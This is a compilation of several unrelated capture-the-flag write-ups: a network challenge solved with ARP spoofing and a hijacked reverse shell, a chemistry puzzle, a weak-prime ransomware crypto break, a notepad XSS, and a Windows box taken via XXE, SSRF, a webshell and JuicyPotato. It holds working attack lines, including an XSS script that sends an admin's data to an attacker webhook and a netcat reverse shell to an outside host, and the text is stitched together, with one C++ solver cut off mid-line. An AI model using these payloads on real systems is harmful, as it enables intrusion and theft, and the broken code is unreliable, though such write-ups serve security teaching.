172.30.0.5 has port 1337 opened However nmap could not recognise what service is running on port 1337```1337/tcp open tcpwrapped syn-ack ttl 64``` I tried to connect to that port using netcat, but has no idea how that service is used. So I was thinking why 172.30.0.8 is in the network, as it has no open port Inspired by the previous network pentest challenge 'listen', I tried to use wireshark to see if any host is attemping to connect to us, but there isn't any. Then I asked the organizer if arp spoofing is allowed on the network, which they replied that it is allowed Then I try to use do arp spoofing in order to be able to capture traffic between that 2 hosts : ```arpspoof -i tap0 -t 172.30.0.8 -r 172.30.0.5```Also, I forward the traffic to the correct host after capturing, in order to avoid causing a DoS to the network :```echo 1 > /proc/sys/net/ipv4/ip_forward```Then I capture traffic using wireshark : ![1.png](https://raw.githubusercontent.com/Kaiziron/inctf_2021/main/Shell_Boi/images/1.png) This look like a reverse shell, sending from 172.30.0.5 to 172.30.0.8 What is happening before the reverse shell is sent, is that 172.30.0.8 sending some base64 data to port 1337 of 172.30.0.5 :```MTcyLjMwLjAuOA==MzYxMTk=```Which after decoded is the ip address and a port that the reverse shell will connect to :```172.30.0.836119```After the base64 data is send to port 1337 of 172.30.0.5, 172.30.0.5 will send back a reverse shell to the ip address and port in the base64 data So I changed the base64 data to my ip address and I listen to that port 36119 :```nc -nlvp 36119```Then I save the base64 data needed to be sent in a file called input, and send the data to port 1337 of 172.30.0.5 using netcat```nc -nv 172.30.0.5 1337 < input```However I'm not receiving a reverse shell as expected So I use wireshark to capture the traffic and see what is happening, after the connection is established and the data is sent, 172.30.0.5 is sending back packet with RST,ACK flags set which close the TCP connection I see that 172.30.0.8 is successfully getting a reverse shell, so I try to do arp spoof against 172.30.0.5 and spoof the ip address of 172.30.0.8 : ```arpspoof -i tap0 -t 172.30.0.5 172.30.0.8``````ifconfig tap0 172.30.0.8 netmask 255.255.255.240```Then change the content of the input file to 172.30.0.8 and the port 36119 in base64 format :```MTcyLjMwLjAuOA==MzYxMTk=```Listen on port 36119 :```nc -nlvp 36119```Then send the base64 data to port 1337 :```nc -nv 172.30.0.5 1337 < input```Finally, I received the reverse shell :```# nc -nlvp 36119listening on [any] 36119 ...connect to [172.30.0.8] from (UNKNOWN) [172.30.0.5] 47864bash: cannot set terminal process group (1587): Inappropriate ioctl for devicebash: no job control in this shellroot@2469a4703515:/# ```The flag is just in /root/flag.txt :```root@2469a4703515:/# cd /rootcd /rootroot@2469a4703515:~# ls -lals -latotal 20drwx------ 1 root root 4096 Aug 13 19:48 .drwxr-xr-x 1 root root 4096 Aug 14 04:03 ..-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc-rw-r--r-- 1 root root 148 Aug 17 2015 .profile-rw-r--r-- 1 root root 31 Aug 13 15:40 flag.txtroot@2469a4703515:~# cat flag.txtcat flag.txtinctf{Ha!Security_1s_4_my7h!!!}``` --- ## Flag```inctf{Ha!Security_1s_4_my7h!!!}```
**Official Writeup** **tl;dr** + Arbitrary type confusion in DFG JIT+ Bug eliminates a single CheckStructure node Link to the writeup: https://blog.bi0s.in/2021/08/15/Pwn/InCTFi21-DeadlyFastGraph/ Author: [d4rk_kn1gh7](https://twitter.com/_d4rkkn1gh7)
Come on, let's get started First, you download the zip file, then, interact with the server and see 600 lines of results appear as shown below. ![](https://i.imgur.com/TSfo7nj.png) When extracting the zip file, you will see two files that are misc3.rs and elemprops.csv Then to save your time, I will summarize the content of this challenge as follows. First, we will have a database file elemprops.csv ```csvatomicnumber,symbol,valence,electronegativity,group,period1,H,1,2.2,1,12,He,0,0,18,13,Li,1,0.98,1,24,Be,2,1.57,2,25,B,3,2.04,13,26,C,-4,2.55,14,27,N,-3,3.04,15,28,O,-2,3.44,16,29,F,-1,3.98,17,210,Ne,0,0,18,211,Na,1,0.93,1,312,Mg,2,1.31,2,313,Al,3,1.61,13,314,Si,4,1.9,14,315,P,-3,2.19,15,316,S,-2,2.58,16,317,Cl,-1,3.16,17,3...``` Then analyze a bit, each data it will have 6 parameters as follows: atomicnumber,symbol,valence,electronegativity,group,period Now, we have not used this database file, and let's continue to analyze this misc.rs code to understand what it is intended for! ```rslet mut rng = thread_rng(); let mut lab_key = [0u8; 25]; for i in 0..25 { lab_key[i] = rng.gen_range(65..127); } let lab_key = str::from_utf8(&lab_key[..]).unwrap(); let chem_password: Vec<Atom> = lab_key.as_bytes().iter().map(|x| Atom::from_atomic_number(*x - 64, &elements).unwrap()).collect();``` Here, we can understand that lab_key is an array of 25 elements and these elements are randomly generated in the range [65;127] Next, the chem_password is generated from the generated lab_key array, but it is worth noting that the values of the elements in the chem_password are subtracted by 64. ```rsfor i in 0..25 { for j in 0..25 { // Reactions with two of the same element are counterproductive if i == j { continue; } // Give results of reaction, this should be more than enough let first = &chem_password[i]; let second = &chem_password[j]; let difference1 = (first.element.atomicnumber as i16 - second.element.atomicnumber as i16).abs(); let difference2 = (first.element.electronegativity - second.element.electronegativity).abs(); let bond = Bond::new(first, second); match bond { Some(thebond) => println!("Results for index {} and {}: {:?}, {}, {:.2}", i, j, thebond.bondtype, difference1, difference2), None => println!("Results for index {} and {}: {}, {}, {:.2}", i, j, "No Reaction", difference1, difference2), } } }``` Next, based on the elements of chem_password, it is generated that the server returns us as shown above, and a total of 600 lines of data are generated like that. And now we will analyze a bit how it generates those 600 lines of data! Consider any one of the 600 lines of data that the server gives : ```Results for index 0 and 1: Metallic, 25, 1.38``` We notice that, each data line of pair i and j will include 3 parameters: arg1, arg2, arg3. Where arg1,arg2,arg3 are defined as follows: arg1 = bontypes ; arg2 = difference1 ; arg3 = difference2; ```rsimpl Bond<'_> { fn new<'b>(atom1: &'b Atom, atom2: &'b Atom) -> Option<Bond<'b>>{ let bondtype; if atom1.element.valence == 0 || atom2.element.valence == 0 { // Noble gas bonds not implemented return None; } else if atom1.element.valence.signum() != atom2.element.valence.signum() { // Ionic bondtype = BondType::Ionic; } else if atom1.element.valence.signum() == 1 && atom2.element.valence.signum() == 1 { // Metallic bondtype = BondType::Metallic; } else { // Covalent bondtype = BondType::Covalent; } Some(Bond { bondtype, atoms: [atom1, atom2] }) }}``` And our task now is based on 600 data provided by the server, combined with the code misc3.rs along with a database file of more than 100 elements elempros.csv. We have to find out which 25 randomly generated elements are !And after finding these 25 elements, it seems the problem is solved ! So our team's idea is that because we know lab_key is generated from random numbers in [65;127] and chem_pass is generated from numbers in lab_key minus 64, so we can infer, primes in chem_pass only in fragment [1.63]. And so, our team's job is to generate 3 parameters of all pairs i,j with i,j running from 1 to 63. Then compare the first 25 lines of data that the server has the same level to found 25 elements in chem_pass. ```Metallic 0 0-->1,1NoReaction 1 -1-->1,2Metallic 2 1.22-->1,3Metallic 3 0.63-->1,4Metallic 4 0.16-->1,5Ionic 5 0.35-->1,6Ionic 6 0.84-->1,7Ionic 7 1.24-->1,8Ionic 8 1.78-->1,9NoReaction 9 -1-->1,10Metallic 10 1.27-->1,11Metallic 11 0.89-->1,12Metallic 12 0.59-->1,13Metallic 13 0.3-->1,14Ionic 14 0.01-->1,15Ionic 15 0.38-->1,16Ionic 16 0.96-->1,17NoReaction 17 -1-->1,18Metallic 18 1.38-->1,19Metallic 19 1.2-->1,20Metallic 20 0.84-->1,21Metallic 21 0.66-->1,22Metallic 22 0.57-->1,23Metallic 23 0.54-->1,24Metallic 24 0.65-->1,25Metallic 25 0.37-->1,26Metallic 26 0.32-->1,27Metallic 27 0.29-->1,28Metallic 28 0.3-->1,29Metallic 29 0.55-->1,30Metallic 30 0.39-->1,31Metallic 31 0.19-->1,32Metallic 32 0.02-->1,33Ionic 33 0.35-->1,34Ionic 34 0.76-->1,35NoReaction 35 0.8-->1,36Metallic 36 1.38-->1,37...``` And this is the result that our team was born! To generate this code, our team used C++ language to read the file elemprops.cv ```cpp// atomicnumber,symbol,valence,electronegativity,group,period// 1 H 1 2.2 1 1#include<bits/stdc++.h>using namespace std;#define ll long long #define maxn 605struct element{ int id; string atomicnumber; int valence; double electronegativity; int group; int period; void print(){ cout<<this->id<<" "<<this->atomicnumber<<" "<<this->valence<<" "<<this->electronegativity<<" "<<this->group<<" "<<this->period<<'\n'; }};struct boba{ string ten; int diff1; double diff2; void print(){ cout<<this->ten<<" "<<this->diff1<<" "<<this->diff2<<'\n'; }};bool operator < (boba A, boba B){ return A.ten[0]<B.ten[0];}map<boba,pair<int,int>> mapping;element arr[maxn];int main(){ freopen("db","r",stdin); freopen("khong_gian_sinh","w",stdout); ll n; cin>>n; for(ll i=0;i<n;i++){ cin>>arr[i].id>>arr[i].atomicnumber>>arr[i].valence>>arr[i].electronegativity>>arr[i].group>>arr[i].period; } // arr[1].print(); for(ll i=0;i<n;i++){ for(ll j=0;j<n;j++){ boba tmp; // Xu ly ten if(arr[i].valence>0 && arr[j].valence >0) tmp.ten = "Metallic"; else if(arr[i].valence==0 || arr[j].valence == 0) tmp.ten = "NoReaction"; else if(arr[i].valence*arr[j].valence< 0) tmp.ten = "Ionic"; else tmp.ten = "Covalent"; tmp.diff1 = abs(arr[i].id-arr[j].id); if(arr[i].electronegativity==0.00 || arr[j].electronegativity==0.00) tmp.diff2=-1.00; else tmp.diff2 = abs(arr[i].electronegativity-arr[j].electronegativity); mapping[tmp]={arr[i].id,arr[j].id}; cout<<tmp.ten<<" "<<tmp.diff1<<" "<<tmp.diff2<<"-->"<<arr[i].id<<","<<arr[j].id<<'\n'; } } // for(auto p: mapping){ // cout<<p.first.ten<<","<<p.first.diff1<<","<<p.first.diff2<<"-->"<
**Official Writeup** **tl;dr** + `Json_Interoperability` - /verify_roles?role=supersuperuseruser\ud800","name":"admin+ `Prototype_Pollution` - {"constructor":{"prototype":{"test":"123"}}} in config-handler+ `RCE` - using squirrelly-js Link to the writeup: https://blog.bi0s.in/2021/08/15/Web/inCTFi21-JsonAnalyser/ Author: [Sayooj](https://twitter.com/_1nt3rc3pt0r_)
# Got Ransomed Got Ransomed was the least solved crypto challenge. It involved retrieving the Python source code of a PyInstaller executable and abusing a weak prime number generator to factorize a 2048-bit RSA modulus. ## Where is the source code?! We were given SSH access to a machine which was hit by a ransomware: ```$ ssh -p 30137 [email protected][email protected]'s password: *** You got ransomed!***Seems like your manager lacks some basic training on phishing campaigns. developer@cryptobusinessgotransomed-12164-64dd76694c-zmvkb:~$ cd /home/manager/developer@cryptobusinessgotransomed-12164-64dd76694c-zmvkb:/home/manager$ ls -latotal 2816drwxr-xr-x 1 manager manager 4096 Jul 19 10:19 .drwxr-xr-x 1 root root 4096 Jul 19 10:19 ..-rw-r--r-- 1 root root 240 Jul 19 10:19 .bash_logout.enc-rw-r--r-- 1 root root 3792 Jul 19 10:19 .bashrc.enc-rwxr-xr-x 1 root root 1383160 Jul 19 09:33 .evil-rw-r--r-- 1 root root 832 Jul 19 10:19 .profile.enc-rw-r--r-- 1 root root 1385680 Jul 19 10:19 Payroll_Schedule.pdf.enc-rw-r--r-- 1 root root 74016 Jul 19 10:19 data_breach_response.pdf.enc-rw-r--r-- 1 root root 64 Jul 19 10:19 flag.txt.enc-rw-r--r-- 1 root root 1289 Jul 19 10:19 public_key.txt``` Among the files is an executable named `.evil` that seems rather intriguing. I first tried to open it in a decompiler but the executable seemed a bit non-standard and reversing is not my strong suit so I just ran it in a VM :). I got the following error: ```$ ./.evilFatal Python error: initfsencoding: Unable to get the locale encodingModuleNotFoundError: No module named 'encodings' Current thread 0x00007f2208114b80 (most recent call first):``` It seems like the program is trying to load some Python module. It sure looks like some PyInstaller generated executable! Basically, what PyInstaller does is archiving the Python source code as well as the Python interpreter into a single executable file so that it can act as a standalone binary. When executed, the source code and the interpreter are uncompressed into a temporary folder. Finally, the Python code is executed the same it would normally be executed. This is rather good news as it means we do not have to reverse anything because we can just extract the compiled Python source code from the binary and uncompile it. Extracting the compiled Python source code can be done with [pyinstxtractor](https://github.com/extremecoders-re/pyinstxtractor). Be careful to use the same Python version as the one used to create the PyInstaller executable (pyinstxtractor will print a warning otherwise). For ELF binaries, [an additionnal step](https://github.com/extremecoders-re/pyinstxtractor/wiki/Extracting-Linux-ELF-binaries) must be done: ```$ objcopy --dump-section pydata=pydata.dump .evil$ python3 pyinstxtractor.py pydata.dump [+] Processing pydata.dump[+] Pyinstaller version: 2.1+[+] Python version: 37[+] Length of package: 1339359 bytes[+] Found 7 files in CArchive[+] Beginning extraction...please standby[+] Possible entry point: pyiboot01_bootstrap.pyc[+] Possible entry point: ransomware.pyc[+] Found 181 files in PYZ archive[+] Successfully extracted pyinstaller archive: pydata.dump You can now use a python decompiler on the pyc files within the extracted directory $ ls pydata.dump_extracted/pyiboot01_bootstrap.pyc pyimod01_os_path.pyc pyimod02_archive.pyc pyimod03_importers.pyc PYZ-00.pyz PYZ-00.pyz_extracted ransomware.pyc struct.pyc``` Hmmm, the ransomware.pyc file seems particularly interesting! Compiled Python files can be easily uncompiled with [uncompyle6](https://github.com/rocky/python-uncompyle6): ```$ uncompyle6 pydata.dump_extracted/ransomware.pyc > ransomware.py``` ## This prime is sus The ransomware script is rather straightforward: 1. A random AES key is generated 2. An 2048-bit RSA key is generated with a custom prime generator 3. Each file is encrypted with AES-CBC and the encryption key previously generated 4. The AES key is encrypted with the RSA key Everything is standard cryptographically speaking, except for the prime number generation function: ```def getPrime(self, bits): while 1: prime = getrandbits(32) * (2 ** bits - getrandbits(128) - getrandbits(32)) + getrandbits(128) if isPrime(prime): return prime``` From now on, the goal is pretty clear: we need to abuse this weird prime generator to factorise the RSA modulus, retrieve the private key, decrypt the AES key and eventually decrypt the flag. The encrypted AES key and the RSA public key are given in the `public_key.txt` file on the compromised machine: ```$ cat public_key.txtct =103277426890378325116816003823204413405697650803883027924499155808207579502838049594785647296354171560091380575609023224236810984380471514427263389631556751378748850781417708570684336755006577867552855825522332814965118168493717583064825727041281736124508427759186701963677317409867086473936244440084864793145556452777286279898290377902029996126279559998481885748242510379854444310318155405626576074833498899206869904384273094040008044549784792603559691212527347536160482541620839919378963435565991783142960512680000026995612778965267032398130337317184716910656244337935483878555511428645495753032285992542849349183330115270055128424706n =138207419695384547988912711812284775202209436526033230198940565547636825580747672789492797274333315722907773523517227770864272553877067922737653082336474664566217666931535461616165422003336643572287256862845919431302341192342221401941030920157743737894770635943413313928841178881232020910281701384625077903386156608333697476127454650836483136951229948246099472175058826799041197871948492587237632210327332983333713524046342665918954004211660592218839111231622727156788937696335536810341922886296485903618849914312160102415163875162998413750215079864835041806222675907005982658170273293041649903396166676084266968673498852755429449249441e =6553``` By representing the generated primes in hexadecimal, we observe a weird structure: ```>>> hex(getPrime(1024))'0x9b961fc1ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff923050f97695bf2fdb06f493c8192014a37fbb81'``` Most of the bytes are just `0xff`, meaning the primes have only a few bytes of entropy. From the `getPrime` function, the generated primes `p` and `q` can be represented as: p = u<sub>1</sub>(2<sup>1024</sup> + v<sub>1</sub>) + w<sub>1</sub> = u<sub>1</sub>2<sup>1024</sup> + u<sub>1</sub>v<sub>1</sub> + w<sub>1</sub> q = u<sub>2</sub>(2<sup>1024</sup> + v<sub>2</sub>) + w<sub>2</sub> = u<sub>2</sub>2<sup>1024</sup> + u<sub>2</sub>v<sub>2</sub> + w<sub>2</sub> Therefore, the modulus `n` can be written as: n = pq = (u<sub>1</sub>2<sup>1024</sup> + u<sub>1</sub>v<sub>1</sub> + w<sub>1</sub>)(u<sub>2</sub>2<sup>1024</sup> + u<sub>2</sub>v<sub>2</sub> + w<sub>2</sub>) = u<sub>1</sub>u<sub>2</sub>2<sup>2048</sup> + u<sub>1</sub>u<sub>2</sub>v<sub>2</sub>2<sup>1024</sup> + u<sub>1</sub>w<sub>2</sub>2<sup>1024</sup> + u<sub>1</sub>v<sub>1</sub>u<sub>2</sub>2<sup>1024</sup> + u<sub>1</sub>v<sub>1</sub>u<sub>2</sub>v<sub>2</sub> + u<sub>1</sub>v<sub>1</sub>w<sub>2</sub> + w<sub>1</sub>u<sub>2</sub>2<sup>1024</sup> + w<sub>1</sub>u<sub>2</sub>v<sub>2</sub> + w<sub>1</sub>w<sub>2</sub> = u<sub>1</sub>u<sub>2</sub>2<sup>2048</sup> + (u<sub>1</sub>u<sub>2</sub>v<sub>2</sub> + u<sub>1</sub>w<sub>2</sub> + u<sub>1</sub>v<sub>1</sub>u<sub>2</sub> + w<sub>1</sub>u<sub>2</sub>)2<sup>1024</sup> + u<sub>1</sub>v<sub>1</sub>u<sub>2</sub>v<sub>2</sub> + u<sub>1</sub>v<sub>1</sub>w<sub>2</sub> + w<sub>1</sub>u<sub>2</sub>v<sub>2</sub> + w<sub>1</sub>w<sub>2</sub> = a2<sup>2048</sup> + b2<sup>1024</sup> + c with: a = u<sub>1</sub>u<sub>2</sub> b = u<sub>1</sub>u<sub>2</sub>v<sub>2</sub> + u<sub>1</sub>w<sub>2</sub> + u<sub>1</sub>v<sub>1</sub>u<sub>2</sub> + w<sub>1</sub>u<sub>2</sub> c = u<sub>1</sub>v<sub>1</sub>u<sub>2</sub>v<sub>2</sub> + u<sub>1</sub>v<sub>1</sub>w<sub>2</sub> + w<sub>1</sub>u<sub>2</sub>v<sub>2</sub> + w<sub>1</sub>w<sub>2</sub> By substituting 2<sup>2014</sup> with x, we get: n = ax<sup>2</sup> + bx + c The generated modulus can be represented as a second-degree polynomial! This is good news as such a polynimial can be trivially factorised into: ax<sup>2</sup> + bx + c = (s<sub>1</sub>x + t<sub>1</sub>)(s<sub>2</sub>x + t<sub>2</sub>) = pq `a`, `b` and `c` can be retrieved simply by looking at the hexadecimal representation of `n`: ```>>> hex(n)'0x3b599770048e9bacffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffd5449e2d90aa5712a21ba34aa1b2c62fbebe83d77a5da7f20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001c04599c8b423852045a385916c68dd3eba0aaef4488cae357fc2b52aecd0d256103eac3fc3b2a1'``` ```a = 0x3b599770048e9badb = -0x2abb61d26f55a8ed5de45cb55e4d39d041417c2885a2580ec = 0x1c04599c8b423852045a385916c68dd3eba0aaef4488cae357fc2b52aecd0d256103eac3fc3b2a1``` And that's it! We have all the elements needed to solve the challenge. The following script factorises the polynomial with [sympy](https://www.sympy.org/), computes the private exponent, decrypts the encryption key and decrypt the flag: ```from Cryptodome.Cipher import AESfrom Cryptodome.Util.Padding import unpadfrom sympy import mod_inverse, polyfrom sympy.abc import x ct = 0x2c599fad32765bdd5ac1de9284cd6fd6e5f47e097ab42c457fd4b8c2ca49eb6c437871539786ba64f3bf23027fd1be69a25a974497639c45cad549f3174630f6c4faceb81d6be893842231c95b214411eec1e4600fd7c323a6f45667b9497b98dc37f401f741cae4e6520517be29a29d14a28c7f55c45ad0a33fd62ffca573da8dcd9b5aa8cf29a1d2b3047782713c31168fa1e90006fd73328844c382b8757ef9459079346a74c1747a27e03852aaf9b33a114ecff94d0d6858abb188426e859f37cf9c2f1b28fcba9fba1e5f16eff14122bf7b3e15ebf992ea8c890f253f2d351492175aa1796a7756d57e63c1d1e8d06474a4e1afc2e65a5a0a15bf8097965ac250fe71736102n = 0x3b599770048e9bacffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffd5449e2d90aa5712a21ba34aa1b2c62fbebe83d77a5da7f20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001c04599c8b423852045a385916c68dd3eba0aaef4488cae357fc2b52aecd0d256103eac3fc3b2a1e = 0x10001a = 0x3b599770048e9badb = -0x2abb61d26f55a8ed5de45cb55e4d39d041417c2885a2580ec = 0x1c04599c8b423852045a385916c68dd3eba0aaef4488cae357fc2b52aecd0d256103eac3fc3b2a1 assert(a * 2 ** 2048 + b * 2 ** 1024 + c == n) # Factorise nP = poly(a * x ** 2 + b * x + c)factors = P.factor_list()[1]p = factors[0][0].eval(2 ** 1024)q = factors[1][0].eval(2 ** 1024) assert(p * q == n) # Decrypt the encryption keyphi = (p - 1) * (q - 1)d = mod_inverse(e, phi)key = pow(ct, d, n).to_bytes(32, 'big') # Get the flag!with open('flag.txt.enc', 'rb') as f: data = f.read() iv = data[:16]cipher = AES.new(key, AES.MODE_CBC, iv)print(unpad(cipher.decrypt(data[16:]), AES.block_size).decode())# HTB{n3v3r_p4y_y0ur_r4ns0m_04e1f9}```
In this challenge the note of the user is inserted into the HTML document using `innerHTML` and no sanitization is done on the backend. So a user insert arbitrary HTML and get XSS. But this is just a self-XSS. To get XSS on the admin side, we can use the /find api to set a `Set-Cookie` header and use our own cookie on admin. The final payload is ```html <script> window.open(`http://chall.notepad1.gq:1111/find?startsWith=d&debug=y&Set-Cookie=id=${cookie}%3B%20path=/get`) // Set cookie to /get so it doesn't delete existing admin cookie</script> <script> window.open("http://chall.notepad1.gq:1111",name=`document.cookie='id=${cookie}; expires=Thu, 01 Jan 1970 00:00:00 UTC;path=/get;';document.cookie=x;fetch('/get').then(response=>response.text()).then(data=>navigator.sendBeacon('${webhook}',data));`) // Delete the cookie set by you and then retrieve admin's flag</script>
# Entituber```# nmap -p- -sCV entituber.htbNmap scan report for entituber.htb (10.129.172.185)Host is up (0.20s latency).Not shown: 65534 filtered portsPORT STATE SERVICE VERSION80/tcp open http Apache httpd 2.4.48 ((Win64) PHP/7.4.20)|_http-server-header: Apache/2.4.48 (Win64) PHP/7.4.20|_http-title: eCorp - Index``` The web server on port 80 allows us to import UBL files. This is a hint towards XXE.By submitting p.xml in the web server we can get a callback to our dtd and use PHP wrappers to read PHP source code: ```bash$ cat p.xml %sp;%param1;]><r>&exfil;</r> $ cat fileread.dtd ">``` ```bash$ python3 -m http.server 80Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...10.129.155.192 - - [27/Jul/2021 02:28:15] "GET /fileread.dtd HTTP/1.0" 200 -10.129.155.192 - - [27/Jul/2021 02:28:15] "GET /?PGh0bWw+DQo8aGVhZD48dGl0bGU+WFNEIE1hbmFnZW1lbnQ8L3RpdGxlPjwvaGVhZD4NCjxib2R5Pg0KPD9waHANCiAgaWYoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gIT09ICcxMjcuMC4wLjEnKQ0KICB7DQogICAgICBlY2hvICI8cD5JUCBhZGRyZXNzIG5vdCBhbGxvd2VkLjwvcD4iOw0KICAgICAgZGllKCk7DQogIH0NCiAgaWYoaXNzZXQoJF9SRVFVRVNUWydmaWxlbmFtZSddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ3VybCddKSkNCiAgew0KICAgICAgaWYocHJlZ19tYXRjaCgnL15bXHdcLV0rXC54c2QvJywgJF9SRVFVRVNUWydmaWxlbmFtZSddKSAmJiBmaWx0ZXJfdmFyKCRfUkVRVUVTVFsndXJsJ10sIEZJTFRFUl9WQUxJREFURV9VUkwpKQ0KICAgICAgew0KICAgICAgICBmaWxlX3B1dF9jb250ZW50cygieHNkL2NvbW1vbi8iLiRfUkVRVUVTVFsnZmlsZW5hbWUnXSwgZmlsZV9nZXRfY29udGVudHMoJF9SRVFVRVNUWyd1cmwnXSkpOw0KICAgICAgfSANCiAgfQ0KPz4NCjxoMz5YU0QgRG93bmxvYWRlcjwvaDM+DQoNCjxmb3JtIG1ldGhvZD0icG9zdCI+DQogIDxsYWJlbCBmb3I9ImZpbGVuYW1lIj5GaWxlIG5hbWU8L2xhYmVsPg0KICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmlsZW5hbWUiPg0KICA8YnI+DQogIDxsYWJlbCBmb3I9InVybCI+RG93bmxvYWQgVVJMPC9sYWJlbD4NCiAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVybCI+DQogIDxicj4NCiAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiPkRvd25sb2FkIFhTRDwvYnV0dG9uPg0KPC9mb3JtPg0KPGJvZHk+DQo= HTTP/1.0" 200 - $ echo PGh0bWw+DQo8aGVhZD48dGl0bGU+WFNEIE1hbmFnZW1lbnQ8L3RpdGxlPjwvaGVhZD4NCjxib2R5Pg0KPD9waHANCiAgaWYoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gIT09ICcxMjcuMC4wLjEnKQ0KICB7DQogICAgICBlY2hvICI8cD5JUCBhZGRyZXNzIG5vdCBhbGxvd2VkLjwvcD4iOw0KICAgICAgZGllKCk7DQogIH0NCiAgaWYoaXNzZXQoJF9SRVFVRVNUWydmaWxlbmFtZSddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ3VybCddKSkNCiAgew0KICAgICAgaWYocHJlZ19tYXRjaCgnL15bXHdcLV0rXC54c2QvJywgJF9SRVFVRVNUWydmaWxlbmFtZSddKSAmJiBmaWx0ZXJfdmFyKCRfUkVRVUVTVFsndXJsJ10sIEZJTFRFUl9WQUxJREFURV9VUkwpKQ0KICAgICAgew0KICAgICAgICBmaWxlX3B1dF9jb250ZW50cygieHNkL2NvbW1vbi8iLiRfUkVRVUVTVFsnZmlsZW5hbWUnXSwgZmlsZV9nZXRfY29udGVudHMoJF9SRVFVRVNUWyd1cmwnXSkpOw0KICAgICAgfSANCiAgfQ0KPz4NCjxoMz5YU0QgRG93bmxvYWRlcjwvaDM+DQoNCjxmb3JtIG1ldGhvZD0icG9zdCI+DQogIDxsYWJlbCBmb3I9ImZpbGVuYW1lIj5GaWxlIG5hbWU8L2xhYmVsPg0KICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmlsZW5hbWUiPg0KICA8YnI+DQogIDxsYWJlbCBmb3I9InVybCI+RG93bmxvYWQgVVJMPC9sYWJlbD4NCiAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVybCI+DQogIDxicj4NCiAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiPkRvd25sb2FkIFhTRDwvYnV0dG9uPg0KPC9mb3JtPg0KPGJvZHk+DQo= |base64 -d > management.php``` `management.php` contains the following code: ```python<html><head><title>XSD Management</title></head><body>IP address not allowed."; die(); } if(isset($_REQUEST['filename']) && isset($_REQUEST['url'])) { if(preg_match('/^[\w\-]+\.xsd/', $_REQUEST['filename']) && filter_var($_REQUEST['url'], FILTER_VALIDATE_URL)) { file_put_contents("xsd/common/".$_REQUEST['filename'], file_get_contents($_REQUEST['url'])); } }?><h3>XSD Downloader</h3> <form method="post"> <label for="filename">File name</label> <input type="text" name="filename"> <label for="url">Download URL</label> <input type="text" name="url"> <button type="submit">Download XSD</button></form><body>```By analyzing the source code of the management.php file we noticed few things: 1. To upload a file we need to come from 127.0.0.1 2. A regex is checking the filename For the first point, we can abuse the XXE in order to do a SSRF to management.php endpoint.For the second point, the regex does not prevent us from adding the .php extension to the file: `plop.xsd.php` will be a valid name. The following xml payload will do the SSRF in order to upload `mine.php` (with our webshell within) to `/xsd/common/plop.xsd.php` ```xml %sp;%param1;]><r>&exfil;</r>``` ```$ cat mine.php ```![Commande execution](../img/rce.png "Commande execution") We established a reverse shell with `nc.exe`(previously uploaded) and then we grabbed the user flag: ```PS C:\users\bella> cat /users/bella/desktop/user.txtHTB{CR055_R04DS_W17H_THE_XXE}```When checking our privileges we can see the user has the `SeImpersonatePrivilege`. We used an obfuscated version of [juicy potato](https://github.com/ohpe/juicy-potato) to get a root shell:```PS C:\windows\temp\mine> whoami /privwhoami /priv PRIVILEGES INFORMATION---------------------- Privilege Name Description State ============================= ========================================= ========SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled PS C:\windows\temp\mine> type root.batpowershell /windows/temp/nc.exe 10.10.14.27 9001 -e powershell.exe PS C:\windows\temp\mine> .\j.exe -t * -p C:\windows\temp\mine\root.bat -c "{e60687f7-01a1-40aa-86ac-db1cbf673334}" -l 9002 .\j.exe -t * -p C:\windows\temp\mine\root.bat -c "{e60687f7-01a1-40aa-86ac-db1cbf673334}" -l 9002wut this ? {e60687f7-01a1-40aa-86ac-db1cbf673334}:9002......aUth reSUlt: 0{e60687f7-01a1-40aa-86ac-db1cbf673334};NT AUTHORITY\SYSTEM WUT!!!``` We received the callback from juicy potato.```$ nc -nvlp 9001Listening on [0.0.0.0] (family 2, port 9001)Connection from 10.129.155.192 49696 received!Windows PowerShellCopyright (C) 2016 Microsoft Corporation. All rights reserved. PS C:\Windows\system32> whoamint authority\systemPS C:\Windows\system32> cat /users/administrator/desktop/root.txtHTB{1_AM_A_P0TAT0_T4M3T0?}PS C:\Windows\system32>```
